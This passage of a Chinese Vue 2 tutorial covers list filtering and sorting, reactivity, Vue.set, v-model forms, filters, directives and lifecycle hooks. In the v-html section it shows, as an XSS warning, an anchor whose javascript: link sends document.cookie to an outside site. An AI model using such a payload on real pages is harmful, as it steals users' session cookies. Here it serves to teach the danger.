</div><script type="text/javascript">Vue.config.productionTip = false//用watch实现new Vue({el:'#root',data:{keyWord:'', // 用于绑定，输入的信息persons:[{id:'001',name:'马冬梅',age:19,sex:'女'},{id:'002',name:'周冬雨',age:20,sex:'女'},{id:'003',name:'周杰伦',age:21,sex:'男'},{id:'004',name:'温兆伦',age:22,sex:'男'}],filPerons:[]  // 数组的元数据不能发生改变，把新数据交给 filPerons:[]},watch:{keyWord:{immediate:true,  // 不等发生改变时就调用了一次（否则一开始没有数据）handler(val){this.filPerons = this.persons.filter((p)=>{// 不包含返回 -1，包含返回第几位出现的索引，filter 不改变原来的数组，而会创建一个全新的数组// 上面遍历时，就不能使用persions （不能改变元数据）而是使用 filPerons// 一个字符里面，包不包含空格字符串 包含 返回索引是 0 不是 -1（即默认包含空字符串，位置为0）return p.name.indexOf(val) !== -1})}}}})
</script>

2.computed方法过滤（常用）

<div id="root"><h2>人员列表</h2><input type="text" placeholder="请输入名字" v-model="keyWord"><ul><li v-for="(p,index) of filPerons" :key="index">{{p.name}}-{{p.age}}-{{p.sex}}</li></ul>
</div><script type="text/javascript">Vue.config.productionTip = false//用computed实现new Vue({el:'#root',data:{keyWord:'', // 用于绑定，输入的信息persons:[  {id:'001',name:'马冬梅',age:19,sex:'女'},{id:'002',name:'周冬雨',age:20,sex:'女'},{id:'003',name:'周杰伦',age:21,sex:'男'},{id:'004',name:'温兆伦',age:22,sex:'男'}]},computed:{filPerons(){// 把合规的数组再返回给方法return this.persons.filter((p)=>{// 返回filter 规定 返回过滤条件 return p.name.indexOf(this.keyWord) !== -1})}}})
</script>

7.7 列表排序

<div id="root"><h2>人员列表</h2><input type="text" placeholder="请输入名字" v-model="keyWord"><button @click="sortType = 2">年龄升序</button><button @click="sortType = 1">年龄降序</button><button @click="sortType = 0">原顺序</button><ul><li v-for="(p,index) of filPerons" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}<input type="text"></li></ul>
</div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{keyWord:'',sortType:0, //0原顺序 1降序 2升序persons:[{id:'001',name:'马冬梅',age:30,sex:'女'},{id:'002',name:'周冬雨',age:31,sex:'女'},{id:'003',name:'周杰伦',age:18,sex:'男'},{id:'004',name:'温兆伦',age:19,sex:'男'}]},//computed是只要包含在其中的数据变了就会调用一次，这里sortType变化所以会调用computed:{filPerons(){const arr = this.persons.filter((p)=>{return p.name.indexOf(this.keyWord) !== -1})//判断一下是否需要排序if(this.sortType){// sort 改变原数组 p1 - p2 升序 p2 - p1 降序arr.sort((p1,p2)=>{return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age})}return arr}}})
</script>

八、Vue检测数据改变的原理

8.1 更新数据时遇到的一个问题

data:{persons:[{id:'001',name:'马冬梅',age:30,sex:'女'},{id:'002',name:'周冬雨',age:31,sex:'女'},{id:'003',name:'周杰伦',age:18,sex:'男'},{id:'004',name:'温兆伦',age:19,sex:'男'}]
},

① 成功

methods: {updateMei(){this.persons[0].name = '马老师' //奏效this.persons[0].age = 50      //奏效this.persons[0].sex = '男'        //奏效}
}

② 失败数据已经修改成功，但是Vue 没有发现数据的改变

methods: {updateMei(){this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效}
}

③ 成功（后面解释原因）

methods: {updateMei(){this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'}) //奏效}
}

8.2 Vue监测数据改变的原理–对象

原理核心代码如下
相当于创建了一个function Observer(obj)，用这个方法为每一个对象赋setter和getter方法

<script type="text/javascript" >let data = {name:'尚硅谷',address:'北京',}// ① 创建一个监视的实例对象，用于监视data中属性的变化const obs = new Observer(data) // 收到   Observer 实例对象  console.log(obs)  // ④ 准备一个vm实例对象let vm = {}vm._data = data = obs// Observer 观察者  构造函数 作用: 创建一个，监视的实例对象 可以收到一个对象作为参数function Observer(obj){// ② 汇总对象中所有的属性形成一个数组const keys = Object.keys(obj)// ③ 遍历keys.forEach((k)=>{//这里的this 是 Observer 的实例对象，即obsObject.defineProperty(this,k,{ // 不直接动 data 数据，往this身上添加数据 get(){return obj[k] // 把传入的对象，身上对应的属性的值，交出去},set(val){ // 可以收到 所修改的值console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`)// 把传入 对象身上的key 所对应的那个属性 修改obj[k] = val}})})}
</script>

8.3 Vue.set方法（Vue Api）

管理者想添加 Vue 尚不完善的功能
如：添加一个性别，当时性别有没有定义下来，随着用户的交互，代码的发现，需要性别

解决方式（两种方式）：

Vue.set(target,key,val) 在Vue身上
- target 目标（往谁的身上添加属性）
- key 什么属性
- val 属性的值
Vue.set(vm._data.student,'sex','男')
vm.$set(vm._data.student,‘sex’,‘男’) 在vm身上

vm.$set(vm._data.student,'sex','女')

上面两种方法 _data均可省略

局限性

只能对对象属性用set
不能对Vue实例，或Vue实例的根数据对象用set，即不能直接往data里插一个新的数据
添加一个功能点我给学生添加一个性别

<div id="root"><button @click="addSex">添加一个性别属性，默认值是男</button><h2>姓名：{{student.name}}</h2><h2 v-if="student.sex">性别：{{student.sex}}</h2>
</div><script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{},methods: {addSex(){// Vue.set(this.student,'sex','男')  或者this.$set(this.student,'sex','男')}}
})
</script>

8.4 Vue监测数据改变的原理–数组

data:{hobby:['抽烟','喝酒','烫头'],friends:[{name:'jerry',age:35},{name:'tony',age:36}]}
},

直接用下标修改会因为下图原因（因为数组保存的是个字符串，Vue不会对每个字符去设置一个getter和setter）

要修改数组要通过 Vue 默认修改数组的方法 (7个操作数组的方法)
（注：这些方法是将Array中的同名方法进行封装，在里面插入setter和getter）

push 最后的位置新增一个元素
pop 删除最后一个元素
shift 删除第一个元素
unshift 最前面添加一个元素
splice 指定位置插入一个元素，或者删除一个元素，或者替换调一个元素
sort 数组排序
reverse 翻转数组
filter 不影响原数组，但是还想使用filter 怎么办？
- 把过滤生成的新数组，替换掉原来的数组

共同点：可以修改数组，引起数组的改变

8.5 Vue数据监测总结

Vue监视数据的原理：

vue会监视data中所有层次的数据。
如何监测对象中的数据？
通过setter实现监视，且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性，Vue默认不做响应式处理
(2).如需给后添加的属性做响应式，请使用如下API：
Vue.set(target，propertyName/index，value) 或
vm.$set(target，propertyName/index，value)
如何监测数组中的数据？
通过包裹数组更新元素的方法实现，本质就是做了两件事：
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板，进而更新页面。
在Vue修改数组中的某个元素一定要用如下方法：
- 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
- Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象添加属性

综合案例

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>总结数据监视</title><style>button{margin-top: 10px;}</style><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h1>学生信息</h1><button @click="student.age++">年龄+1岁</button> <br/><button @click="addSex">添加性别属性，默认值：男</button> <br/><button @click="student.sex = '女' ">修改性别</button> <br/><button @click="addFriend">在列表首位添加一个朋友</button> <br/><button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/><button @click="addHobby">添加一个爱好</button> <br/><button @click="updateHobby">修改第一个爱好为：开车</button> <br/><button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/><h3>姓名：{{student.name}}</h3><h3>年龄：{{student.age}}</h3><h3 v-if="student.sex">性别：{{student.sex}}</h3><h3>爱好：</h3><ul><li v-for="(h,index) in student.hobby" :key="index">{{h}}</li></ul><h3>朋友们：</h3><ul><li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li></ul></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{student:{name:'tom',age:18,hobby:['抽烟','喝酒','烫头'],friends:[{name:'jerry',age:35},{name:'tony',age:36}]}},methods: {addSex(){// Vue.set(this.student,'sex','男')this.$set(this.student,'sex','男')},addFriend(){this.student.friends.unshift({name:'jack',age:70})},updateFirstFriendName(){this.student.friends[0].name = '张三'},addHobby(){this.student.hobby.push('学习')},updateHobby(){// this.student.hobby.splice(0,1,'开车')// Vue.set(this.student.hobby,0,'开车')this.$set(this.student.hobby,0,'开车')},removeSmoke(){//filter不改变数组，所以要用新数组替换掉原数组this.student.hobby = this.student.hobby.filter((h)=>{return h !== '抽烟'})}}})</script>
</html>

九、收集表单数据 v-model

收集表单数据：

<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
<input type="checkbox"/>
1. 没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
2. 配置input的value属性:
  (1) v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
  (2) v-model的初始值是数组，那么收集的的就是value组成的数组
v-model的三个修饰符：
lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>收集表单数据</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><form @submit.prevent="demo">//trim去掉前后空格账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>密码：<input type="password" v-model="userInfo.password"> <br/><br/>//前一个number限制输入框只能输入数字，后一个.number使得更新进data的数据为number形式而不是string形式年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>性别：男<input type="radio" name="sex" v-model="userInfo.sex" value="male">女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>爱好：学习<input type="checkbox" v-model="userInfo.hobby" value="study">打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>所属校区<select v-model="userInfo.city"><option value="">请选择地点</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br/><br/>其他信息：//lazy 失去焦点，从textarea上离开则获取输入框中内容<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/><input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="https://blog.csdn.net/m0_51487301?spm=1000.2115.3001.5343">《用户协议》</a><button>提交</button></form></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{userInfo:{account:'',password:'',age:18,sex:'female',//多选框在不写value的情况下默认收集checked属性，勾选一个返回true，同时因为双向绑定//其他多选框也会被影响为true，呈现打上了勾的效果//多选框默认一定要数组，否则如果也写成''，因为只能收集一个值，同上原因也会影响其他多选框的勾选hobby:[],city:'beijing',other:'',agree:''}},methods: {demo(){// stringify 穿串console.log(JSON.stringify(this.userInfo))}}})</script>
</html>

十、过滤器 filters

过滤器：

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
1. 注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
2. 使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
3. 其他如 v-model 都不能用
备注：
1. 过滤器也可以接收额外参数、多个过滤器也可以串联
2. 并没有改变原本的数据, 是产生新的对应的数据
3. 全局过滤器是filter，局部过滤器是filters，注意区分防止写错

案例：格式化时间戳

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>过滤器</title><script type="text/javascript" src="../js/vue.js"></script><script type="text/javascript" src="../js/dayjs.min.js"></script></head><body><div id="root"><h2>显示格式化后的时间</h2><!-- 1. 计算属性实现 --><h3>计算属性实现,现在是：{{fmtTime}}</h3><!-- 2. methods实现 --><h3>methods实现,现在是：{{getFmtTime()}}</h3><!-- 3. 过滤器实现 --><h3>过滤器实现,现在是：{{time | timeFormater}}</h3><!-- 过滤器实现（传参）一层一层传递 --><!-- 多个过滤器之间可以串联 --><!-- timeFormater的返回值作为参数传入mySlice中 --><h3>过滤器实现（传参）,现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3><!-- 过滤器 不仅可以使用在 插值语法中 v-bind 中可以使用 但是使用较少 --><h3 :x="msg | mySlice">Tom</h3></div><div id="root2"><h2>{{msg | mySlice}}</h2></div></body><script type="text/javascript">Vue.config.productionTip = false//全局过滤器（要写在Vue实例之前）//该过滤器作为是截取年份Vue.filter('mySlice',function(value){return value.slice(0,4)})new Vue({el:'#root',data:{time:1658817898000, //时间戳msg:'你好，Tom'},computed: {fmtTime(){// return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')return dayjs().format('YYYY年MM月DD日 HH:mm:ss')}},methods: {getFmtTime(){// return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')return dayjs().format('YYYY年MM月DD日 HH:mm:ss')}},//局部过滤器 只有自己的Vue 实例可以使用 下一个Vue实例不能使用filters:{timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){// console.log('@',value)return dayjs(value).format(str)}}})new Vue({el:'#root2',data:{msg:'hello,world'}})</script>
</html>

十一、内置指令

常用指令

v-text : 更新元素的 textContent（不会解析标签）
v-html : 更新元素的 innerHTML（会解析标签）
v-if : 如果为 true, 当前标签才会输出到页面
v-else: 如果为 false, 当前标签才会输出到页面
v-show : 通过控制 display 样式来控制显示/隐藏
v-for : 遍历数组/对象
v-on : 绑定事件监听, 一般简写为@
v-bind : 绑定解析表达式, 可以省略 v-bind
v-model : 双向数据绑定
v-cloak : 如果js文件是在div容器后才引入，那么会出现先渲染div界面，但却没有vue的内容，加上v-cloak，可以使得div容器先隐藏起来，在引入之后再自动出现，与 css 配合: [v-cloak] { display: none }

11.1 v-text指令和 v-html指令

v-text指令：

作用：向其所在的节点中渲染文本内容
与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会

v-html指令：

作用：向指定节点中渲染包含html结构的内容
持结构的解析，可以展示出标签结构如：
与插值语法的区别：
(1) v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2) v-html可以识别html结构
严重注意：v-html有安全性问题
(1) 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2) 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上
例如：百度贴吧评论区，如果有用户写了一个a标签，并在其中用拼接？document.cookies，就能获取到用户的cook

两者共同点： 不会再拼接标签中文字

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><div>你好，{{name}}</div><div v-text="name"></div><div v-html="str"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'Tom',str:'<h3>你好啊！</h3>',}})</script>
</html>

//泄露问题
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root"><div>你好，{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'Tom',str:'<h3>你好啊！</h3>',//                  document.cookie 获取当前网站的全部cookie,跳走,并且所有的cookie以参数的形式，传给网站str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',}})
</script>
</html>

11.2 v-cloak指令

v-cloak指令（没有值）：

本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

<style>//相当于选中包含v-cloak属性的所有块[v-cloak]{display:none;}
</style><div id="root"><h2 v-cloak>{{name}}</h2>
</div>

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style></head><body><div id="root"><h2 v-cloak>{{name}}</h2></div><!-- 在div容器后才引入Vue --><script type="text/javascript" src="../js/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'Tom'}})</script>
</html>

11.3 v-once指令

v-once指令：

v-once所在节点在初次动态渲染后，就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

在下面这个案例里相当于只在第一次动态绑定n时，把n渲染给h2，之后n++的操作都不会再影响到h2中的n值

<div id="root"><!-- 只进行一次渲染，后变成静态内容 --><h2 v-once>初始化的n值是:{{n}}</h2>
</div>

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>

11.4 v-pre指令

v-pre指令：

跳过其所在节点的编译过程
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<div id="root"><!-- 给不需要 渲染得数据添加，添加后跳过模板的编译过程，会加快编译过程--><h2 v-pre>Vue其实很简单</h2>>
</div>

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root">//以下这个h2只包含内容，不包含Vue语法，所以可以加上v-pre跳过其编译<h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>

十二、自定义指令 directives

自定义指令总结：

一、定义语法：

局部指令
new Vue({ new Vue({
directives:{指令名:配置对象} 或 directives{指令名:回调函数}
}) })
全局指令：
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调

bind：指令与元素成功绑定时调用
inserted：指令所在元素被插入页面时调用
update：指令所在模板结构被重新解析时调用

三、备注

指令定义时不加v-，但使用时要加v-；
指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点

12.1 自定义指令-函数式

函数式属于对象式的简写方式只是写了 bind、update 没有书写 inserted

// 函数式
<div id="root"><h2>{{name}}</h2><h2>当前的n值是：<span v-text="n"></span> </h2><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">点我n+1</button>
</div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{name:'Tom',n:1},directives:{// big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。// element 真实的Dom元素 binding 本次绑定的所有信息big(element,binding){// 如何验证 element 是真实Dom元素// 方式一:console.dir(element) // 在控制台查看 身上拥有所有真实Dom的属性和方法// 方式二:console.log(element instanceof HTMLElement) // instanceof 谁是不是谁的实例 控制台 true element.innerText = binding.value * 10},}})
</script>

12.2 自定义指令-对象式

<div id="root"><h2>{{name}}</h2><h2>当前的n值是：<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr/><input type="text" v-fbind:value="n">
</div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{name:'Tom',n:1},directives:{fbind:{//指令与元素成功绑定时（一上来）bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus() // focus 获取焦点},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}}})
</script>

12.3 注意点

此时的this 是 window
多个名称一起定义时使用 - ，不是驼峰命名法，如：big-number
局部指令和全局指令

// 定义全局指令  和 过滤器一样
// 对象式
Vue.directive('fbind',{//指令与元素成功绑定时（一上来）bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}
})
// 函数式
Vue.directive('fbind',function(element,binding){// 如何验证 element 是真实Dom元素// 方式一:console.dir(element) // 在控制台查看 身上拥有所有真实Dom的属性和方法// 方式二:console.log(element instanceof HTMLElement) // instanceof 谁是不是谁的实例 控制台 true console.log('big',this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10
})

十三、Vue的生命周期

Vue实例有一个完整的生命周期，也就是从开始创建初始化数据、编译模板、挂载DOM、渲染一更新一渲染、卸载等一系列过程，我们称这是Vue的生命周期。通俗说就是Vue实例从创建到销毁的过程，就是生命周期

13.1 生命周期流程图

13.2 vue 生命周期

初始化显示：

beforeCreate()
created()
beforeMount()
mounted() （常用）
更新状态: this.xxx = value

beforeUpdate()

updated()
销毁 vue 实例: vm.$destoryed()
beforeDestory()（常用）
destoryed()

13.3 引出Vue的生命周期

生命周期：

又名：生命周期回调函数、生命周期函数、生命周期钩子
是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数
生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的
生命周期函数中的this指向是vm 或组件实例对象

案例：给定初始透明度为1，透明度不断减少，减少到0又重新变为1
① 基本代码

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>引出生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><!--opacity 表示css的属性(不透明) opacity 表示数据的名--><h2 :style="{opacity: opacity}">欢迎学习Vue</h2><!-- 重名 对象的简写形式-->    <h2 :style="{opacity}">欢迎学习Vue</h2></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{opacity:1},})</script>
</html>

② 方法1：设置外部定时器

// 方式一：不推荐，逻辑操作，Vue实例，代码层面是割裂开的
<script type="text/javascript">const vm = new Vue({el:'#root',data:{opacity:1},methods: {},})// 通过外部的定时器实现（不推荐）// 循环定时器setInterval(() => {vm.opacity -= 0.01if(vm.opacity <= 0) vm.opacity = 1 // 在透明度小于等于0时,让其变为1},16)  //16 毫秒
</script>

③方法2：mounted 钩子函数

<script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{opacity:1},methods: {},//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mountedmounted(){console.log('mounted',this)setInterval(() => {this.opacity -= 0.01if(this.opacity <= 0) this.opacity = 1},16)},})
</script>

13.4 分析Vue的生命周期

13.4.1 总体观察

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>分析生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root" :x="n"><h2 v-text="n"></h2><h2>当前的n值是：{{n}}</h2><button @click="add">点我n+1</button><button @click="bye">点我销毁vm</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',// template:`//     <div>//       <h2>当前的n值是：{{n}}</h2>//      <button @click="add">点我n+1</button>//  </div>// `,data:{n:1},methods: {add(){console.log('add')this.n++},bye(){console.log('bye')this.$destroy()}},watch:{n(){console.log('n变了')}},beforeCreate() {console.log('beforeCreate')},created() {console.log('created')},beforeMount() {console.log('beforeMount')},mounted() {console.log('mounted')},beforeUpdate() {console.log('beforeUpdate')},updated() {console.log('updated')},beforeDestroy() {console.log('beforeDestroy')},destroyed() {console.log('destroyed')},})</script>
</html>

13.4.2 逐个分析

生命周期的创建

① beforeCreate
在创建vue实例化之前，此时没有_data

beforeCreate() {console.log('beforeCreate')console.log(this)debugger;
},

② created

created() {console.log('created')console.log(this)debugger;
},

生命周期的挂载

① beforeMount

beforeMount() {console.log('beforeMount')console.log(this)debugger;
},

页面数据未被解析
对所有DOM的操作最终都没有用（因为在这个周期之前的el已经被解析好了，create那一步的绿色框会直接把之前解析好的el插到页面中）

④ mounted

mounted() {console.log('mounted')console.log(this)document.querySelector('h2').innerText = "123"// 验证 el 是不是真实Domconsole.log('mounted',this.$el)console.log('mounted',this.$el instanceof HTMLElement)debugger;
},

此时页面解析完成，且对DOM操作有效

生命周期的更新
数据发生更新就会调用这两个函数
⑤ beforeUpdate

beforeUpdate() {console.log('beforeUpdate')console.log(this.n)debugger;
},

⑥ updated

生命周期的销毁
销毁不会销毁基于原生js的方法，即本例中的add()在销毁vm后仍可以使用

⑦ beforeDestroy
一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了

beforeDestroy() {console.log('beforeDestroy')
},

⑧ destroyed

destroyed() {console.log('destroyed')
},

13.5 Vue生命周期的总结

总结

常用的生命周期钩子

mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】

关于销毁Vue实例

销毁后借助Vue开发者工具看不到任何信息
销毁后自定义事件会失效，但原生DOM事件依然有效
一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了

案例：设置按钮，停止透明度变化

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>引出生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 :style="{opacity}">欢迎学习Vue</h2><button @click="opacity = 1">透明度设置为1</button><button @click="stop">点我停止变换</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{opacity:1},methods: {stop(){//方法一：stop()内部清楚定时器，并清除vm实例//但实际上，一般不会有一个方法来引起vm“自杀”，一般是由其他组件“他杀”//也就是说stop()一般不存在，所以清楚定时器要写在beforeDestroy()里// clearInterval(this.timer) 清除定时器this.$destroy()  // 清除 vm 实例}},//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mountedmounted(){console.log('mounted',this)//将定时器挂载到vm.timer上this.timer = setInterval(() => {console.log('setInterval')this.opacity -= 0.01if(this.opacity <= 0) this.opacity = 1},16)},beforeDestroy() {//方法二：写在beforeDestroy()里clearInterval(this.timer)console.log('vm即将驾鹤西游了')},})</script>
</html>

13.6 补充知识点 template

<div id="root" :x="n">
</div>
new Vue({el:'#root',//用es6的模板字符串，在要解析的html代码外套上个div，则一整个div会替换掉上面那个带id的div//注意：用这种方法解析的idv是不带:x="n"的template:`<div><h2>当前的n值是：{{n}}</h2><button @click="add">点我n+1</button></div>`,data:{n:1},
})